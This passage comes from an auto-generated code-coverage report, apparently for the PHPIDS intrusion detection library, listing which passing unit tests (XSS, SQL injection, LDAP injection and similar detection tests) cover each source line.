class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel125": { - "header": "1 test covers line 125", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel127": { - "header": "1 test covers line 127", - "body": "<ul><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel130": { - "header": "58 tests cover line 130", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel131": { - "header": "58 tests cover line 131", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel132": { - "header": "58 tests cover line 132", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel144": { - "header": "53 tests cover line 144", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel154": { - "header": "2 tests cover line 154", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testName(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel164": { - "header": "35 tests cover line 164", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel165": { - "header": "35 tests cover line 165", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel166": { - "header": "35 tests cover line 166", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel167": { - "header": "35 tests cover line 167", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel168": { - "header": "35 tests cover line 168", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li 